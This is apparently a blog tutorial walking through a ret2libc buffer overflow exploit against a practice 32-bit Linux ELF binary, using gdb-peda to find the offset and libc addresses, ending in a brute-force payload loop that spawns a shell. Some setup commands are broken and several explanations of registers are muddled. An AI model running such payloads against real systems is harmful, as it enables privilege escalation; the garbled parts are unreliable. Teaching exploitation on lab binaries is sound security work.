Linux 32-bit Binary Exploitation - Part II Buffer Overflow ret2libc

Hello Everyone, Welcome to the Part 2 of Linux 32-bit Binary Exploitation, if you have not gone through my previous article, it would recommend you to go through the part I of this series -  Assembly Basics, where I covered all the important parts to start with Assembly and binary exploitation, it’s only an overview/brief explanation of assembly but I think that’s enough to start with.
In this Tutorial, I will walk you through a Vulnerable ELF file, which is vulnerable to buffer overflow – return to libc exploit. So, I will explain  return to libc exploit in detail practically using GDB & GDB-peda. Before going into the process, lets make sure you get to know the about buffer overflow. 


What you need to know Before checking this out:
·         AssemblyBasics – At least about registers.  
·         C programming – functions, pointers
·         Stack Concept
·         Strong Linux Knowledge is preferred 

What I am about to explain in this article is pretty much straight forward and easy, I choose this binary because its pretty easy to explain and there is no complex exploit development involved in this. So, what we are going to do is smash the stack and push our shell code into EIP – Instruction pointer register and call it using c library functions.

What is Buffer Overflow: 

When the data written to the buffer is larger than the size of the buffer and due to insufficient bounds checking, it overflows and overwrites adjacent memory locations.
For example, I have a memory of 40 bytes, and if I try to push 50 bytes of data into it, it overflows with extra data and the extra data of 10 bytes is pushed into its adjacent register. This is what we are going to see in practical.

Buffer Overflow Protection Mechanisms:

Before Digging Deeper, you need to know about memory security mechanisms.

Canary: Canaries or canary words are known values that are placed between a buffer and control data on the stack to monitor buffer overflows. When the buffer overflows, the first data to be corrupted will usually be the canary, and a failed verification of the canary data will therefore alert of an overflow, which can then be handled. from Wiki
In Layman terms, Canary puts some random value in the register before the “user” inputs something and checks it after “user” enters the input. if the value changes stack has been smashed – which states that there has been a Buffer overflow attack, and this can be blocked now. 

Fortify: Replaces a bunch of vulnerable calls with their safe equivalent to help prevent Buffer overflows

PIE: Position independent Executable -- ASLR (all the memory locations in this binary should stay the same), but it doesn’t mean memory location in his memory should stay the same. 

NIX : The NX Bit (no-execute) is used to segregate areas of memory for use of processing instructions and storing data. NX bit may mark certain areas of memory as non-executable. The processor will then refuse to execute any code residing in these areas of memory. Executable space protection is a technique used to prevent certain types of malicious software from taking over computers by inserting their code into another program's data storage area and running their own code from within this section, this is nothing but buffer overflow.

RELRO: RELRO is a mitigation technique used to harden the sections of an ELF binary/application/process. There are two modes in RELRO, partial and full. In Partial RELRO data sections (.data and .bss) are reordered so that they can come after the ELF internal data sections, exploitation is still possible in partial RELRO because GOT is still writable here. In Full RELRO it can mitigate the process of modifying the GOT(Global Offset Table) entry to get control of the program. This is done by making the entire GOT as read-only.


What is ret2libc:

Libc is a binary in “C language” which can work with kernel and can execute anything and libc is vulnerable to a very famous ret2libc attack. As the name says return to c library.
Normally to perform buffer overflow, we write shellcode to a buffer, and overwriting the return address in the stack – where our shellcode is present, to execute the shellcode. This was prevented by using DEP – Data execution Prevention inside the stack. So, a new attack came into picture which is ret2libc. In ret2libc – as we cannot execute our shell code in the buffer because of DEP, what we can do is use already inbuilt functions of c library  such as system() , exit(), /bin/sh.

Because of ret2libc – things became pretty much straight forward – all we need to do is push our shellcode into EIP and jump to our system() function address, which can execute our shellcode giving us our desired output – in most of the cases – a shell. Basically, we need to have control over the return address, then we can point it to "our executable payload". 

Steps to perform ret2libc exploit:

1)   Check the File Format of the binary
2)   Check if ASLR is Enabled on target machine
3)   Check if Binary is vulnerable to Buffer overflow
4)   Check the possible vulnerable libraries in the binary using Debugger
5)   Try to Exploit it 😊 

Let’s start our Linux 32-bit Binary Exploitation – ret2libc


We need 3 important things to create our payload and exploit our binary

1)   Buffer length & Control over EIP – Instruction Pointer
2)   System() address
3)   Exit () address

Requirements for Linux 32-bit Binary Exploitation

GDB Debugger & Peda
apt-get install gdb
git clone ~/peda
echo "source ~/peda/" >> ~/.gdbinit


Exploit Development Phase:

1)   Read the file information using file command in terminal, we can see that the file is a 32-bit ELF. 
File vuln-binary32-bit

2)   Let’s try running the file and it’s asking for some input – which can be anything and the output is nothing. 
./vuln-binary32-bit Literally_Anything_as_input

3)   As we can pass anything as input, let’s see how much input this binary can withstand. I will try passing 150 chars and see if it can bare it or not. This is completely trial and error – sometimes we might have to pass 3000 chars as well. We hit the jackpot at 150, we got Segmentation faults – this is what we are looking for. By this we can confirm that this binary is vulnerable to buffer overflow.
print -c "print 'A'*150"      //Print 150 A's 

4)   So, we have a binary with buffer overflow, lets see if our target system has ASLR turned ON/OFF.
You can check it by cat /proc/sys/kernel/randomize_va_space;
If the output is 2 – ASLR is ON
If the output is 0 – ASLR is OFF
As we are doing this practical, I prefer ASLR to be turned on – as its fun to exploit with more security 
cat /proc/sys/kernel/randomize_va_space

5)   So, lets run the vulnerable binary in debugger. I personally prefer gdb-peda. You can use either gdb or gdb-peda, note that if you are using GDB  - commands may vary. When you add ~/peda/ to gdbinit file gdb-peda will run – giving you a better look and more features. You can launch gdb debugger by 
gdb ./vuln-binary32-bit

6)   Next Main important thing to do is to check the Buffer overflow protection mechanisms status. The less protections enabled, the much better it is to perform a buffer overflow. You can check it by checksec command in gdb-peda. You need to check for ASLR as well. If ASLR is enabled our exploit gonna be very hard, because it randomizes the addresses and each time the program is loaded a new address is allocated and we lose track of the addresses – which is a worst situation. So, to check ASLR status type “aslr”  in gdb-peda. In this case ASLR is turned off, which makes our exploit very easy.

7)   Let’s try running the program to see what’s going on in the program. When we run the program, we see some “C language” functions – which states that we can try ret2lib which is C lang based. 
  r                                //Run the program 
  pdisass main                    //Disassemble main function 

8)   Lets try to pass some input. As expected we see segmentation fault.
r 1234 
python -c “print ‘A’*150”                //print 150 A's

9)   The most important register when exploiting buffer overflow is EIP & ESP. EIP holds the instructions to be executed and what comes before EIP is ESP which is the end of stack. Only after ESP is full, the data flows into EIP. The A’s that we passed are inside the ESP as well, which means we have control over EIP register. Now, we need to pass something meaning full like a shell code which can give us a shell access.

10) As we passed all A’s in the prev command, we are unable to pinpoint the exact location of the ESP. Now let’s pass some random input which can be created in gdb-peda. As we already know segmentation error occurs before 150, lets’ try the same value.  
pattern_create 150 

11) Pass the junk data created using pattern_create as input and we can see a unique value in EIP. Now, all that’s left is to find out the maximum size this binary can take as input. Here we got the EIP address 0x41384141, which we need 😊

12) We can use EIP offset address to get exact value where the buffer overflow occurs. By running the pattern_offset command we found  out the binary break point is after 112 characters
pattern_offset 0x41384141

13) To see the exact offset locations, we can use pattern_search

14) As we got the location where the buffer overflow occurs, we need to craft out payload. To get a shell we can use “C library’s” system() function, exit() syscall and /bin/sh from libc. This can be done by passing “/bin/sh” into system() function which executes the any input given into it and exit() for establishing proper communication. To find the address of exit and system, just search for print system and print exit. 
p system 
p exit 

15) Finding “/bin/sh” address. In gdb-peda searching for anything is very easy. Just typing find “/bin/sh” and we can get the /bin/sh address. Lets verify the address found is “/bin/sh” or not using x/s. 
find /bin/sh
x/s 0xb7f64a0b 

16)   Now is the time to craft our payload and start the exploitation. We got all the required info. Lets take a look at the information we gathered.

offset  A*112
system() 0xb7e43da0

exit() 0xb7e379d0

/bin/sh  0xb7f64a0b
17)   We need to convert these values into little endian, as the 32-bit binary reads the input as Little endian. To convert to little endian – we need to reverse the characters. We can do this either manually or using python struct package. As there are only 3 values, I prefer to do it manually. The addresses after converting to little Endian looks like below 
System -  \xa0\x3d\xe4\xb7

Exit -  \xd0\x79\xe3\xb7

/bin/sh -  \x0b\x4a\xf6\xb7
18)   ASLR randomizes the offset location of the memory. So, we need to brute force all the possible addresses and find the exact one. we need to make an exploit with all 4 values we got. 

We need to make an exploit with all 4 values we got. The order to make the exploit is offset A*112 + System + Exit + /bin/sh.

And the Final payload looks like this. 

while true; do ./vuln-binary32-bit $(python -c 'print "A" * 112+ "\xa0\x3d\xe4\xb7\xd0\x79\xe3\xb7\x0b\x4a\xf6\xb7"');done

19) It might take a minute or two to brutefore all the values and get us a shell.  In order to get a root shell the binary should be running as root.

Well, Thats how you do a Buffer overflow return to libc exploitation. This is one of the easiest and best one to start learning buffer over flow concepts. you need not learn everything at once. Go step by step, start with the simple stuff and keep practicing until it gets struck in your memory. Have a great day. If you have any doubts/queries let me know in comments. 

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Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

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